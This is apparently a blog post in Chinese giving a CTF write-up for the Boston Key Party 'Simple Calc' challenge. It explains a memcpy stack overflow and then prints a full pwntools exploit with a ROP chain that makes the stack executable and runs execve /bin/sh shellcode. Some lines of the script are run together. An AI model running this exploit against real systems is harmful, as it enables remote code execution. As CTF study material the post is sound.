Bostonkey Simple calc
Simple Calc
明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!

#!/usr/bin/python
from pwn import *
import time
#wah #context.log_level = 'debug'
#s = remote('simplecalc.bostonkey.party',5400, timeout=2)
s = remote('127.0.0.1',10001)
time.sleep(1)
print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
raw_input('go!') def add(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def sub(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def div(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
rop = ''
rop += p32(0x31) #fake heap head
rop += 11*p32(500)
rop += p64(0x6C4AA0) #divresult to bypass free()
rop += p32(500)*4 rop += p64(0x4b8f17) #pop rcx; ret
rop += p64(0x6C0FE0) #__stack_prot
rop += p64(0x474a83) #pop rax; ret
rop += p64(0xffffffffffffffff) #-1
rop += 8*p64(0x00463b90) #add rax,1;ret
rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret
rop += p64(0x00463600) #pop rdi; ret
rop += p64(0x6C0F88) #__libc_stack_end
rop += p64(0x4717E0) #_dl_make_stack_executable
rop += p64(0x44282a) #call rsp shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
rop += shellcode payloadlen = len(rop)
print 'payload len is %d' % len(rop)
#print rop.encode('hex') remaind = payloadlen %4
padlen = payloadlen + 4-remaind
formats = '{:' + '\x01' + '<' + str(padlen) + '}'
payload = formats.format(rop)
#print payload.encode('hex') s.recvuntil('Expected number of calculations: ', timeout=2)
s.sendline(str(padlen/4 + 1)) tmp = 0x30
for i in range(padlen/4):
#print '%d round' % (i+1)
num = u32(payload[4*i:4*(i+1)])
#print hex(num)
if num == 0x31:
div(str(0x31*0x31), str(0x31)) #to bypass free
elif num <= 0x27:
sub(str(num+0x30),str(0x30))
elif num >= 0x70000000:
add(str(num-0x70000000),str(0x70000000))
else:
add(str(num-0x30),str(0x30))
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.interactive()
Bostonkey Simple calc的更多相关文章
- CSharp使用ANTLR4生成简单计算Parser
ANTLR简介 ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, pr ...
- 2016暑假多校联合---A Simple Chess
2016暑假多校联合---A Simple Chess Problem Description There is a n×m board, a chess want to go to the po ...
- Building simple plug-ins system for ASP.NET Core(转)
Recently I built plug-ins support to my TemperatureStation IoT solution web site. The code for .NET ...
- css calc()
w https://developer.mozilla.org/en-US/docs/Web/CSS/calc The calc() CSS function can be used anywhere ...
- HDU 5794 A Simple Chess dp+Lucas
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5794 A Simple Chess Time Limit: 2000/1000 MS (Java/O ...
- HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)
题目链接 A Simple Chess 打表发现这其实是一个杨辉三角…… 然后发现很多格子上方案数都是0 对于那写可能可以到达的点(先不考虑障碍点),我们先叫做有效的点 对于那些障碍,如果不在有效点上 ...
- PHP设计模式(一)简单工厂模式 (Simple Factory For PHP)
最近天气变化无常,身为程序猿的寡人!~终究难耐天气的挑战,病倒了,果然,程序猿还需多保养自己的身体,有句话这么说:一生只有两件事能报复你:不够努力的辜负和过度消耗身体的后患.话不多说,开始吧. 一.什 ...
- Design Patterns Simplified - Part 3 (Simple Factory)【设计模式简述--第三部分(简单工厂)】
原文链接:http://www.c-sharpcorner.com/UploadFile/19b1bd/design-patterns-simplified-part3-factory/ Design ...
- WATERHAMMER: A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION
开启阅读模式 WATERHAMMER A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION Waterhammer is an impact load that is ...
随机推荐
- UGUI Button控件
今天一起来学习下Button控件, Button控件其实是由Text,Button,Image组件形成的. 这里就简单介绍下Button组件 Interactable: 代表该组件是否进行交互, 我们 ...
- Hibernate绑定参数
使用绑定参数的优势: 我们为什么要使用绑定命名参数?任何一个事物的存在都是有其价值的,具体到绑定参数对于HQL查询来说,主要有以下两个主要优势:①. 可以利用数据库实施性能优化 因为对Hibernat ...
- 在web应用程序中使用MemcachedClient
本文来自:http://www.cnblogs.com/yukaizhao/archive/2008/11/10/memcached_client_usage.html 一. 背景: 在大访问量的we ...
- 基于redis AE异步网络架构
最近的研究已redis源代码,redis高效率是令人钦佩. 在我们的linux那个机器,cpu型号, Intel(R) Pentium(R) CPU G630 @ 2.70GHz Intel(R) ...
- Unity 之圆环算法
首先我们要明白圆环生成的原理,其实说白了并不是圆环,而是圆.因为我们使用的预制物体时Cube(物体本身是有大小的)难免会有发生实物的折叠看起来给人的感觉是圆环而已. 1.1 几何中我们要画一个圆,因为 ...
- 4. Linux 系统目录
一.Linux 系统目录的作用 /home 用户主目录的根节点,所有用户自己独有的文件一般放在这个目录下的用户目录下 /bin 二进制可执行命令 / ...
- 对Textbox的值转换为带千位符和小数的Decimal字符串
以下Function可以用于textbox的KeyUp事件: 2014-06-06 发现旧版IE不支持selectionStart还有字符串的"[]"索引获取值, 已经修复这个bu ...
- ASP.net+SQL server2008简单的数据库增删改查 VS2012
工具:VS2012 数据库:SQL server 简单说明:根据老师上课给的代码,进行了简单的改正适用于VS2012环境,包括注册.登录.查询.修改.删除功能,多数参考了网上的代码 百度云源代码连接t ...
- Android studio教程:[6]创建多个Activity
通常来说,一个android应用程序不止一个Activity(活动),更不止一个界面.于是需要创建多个Activity来满足应用程序的要求,这里我将告诉大家如何添加新的Activity,并实现Acti ...
- JQ图片跟着鼠标走
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...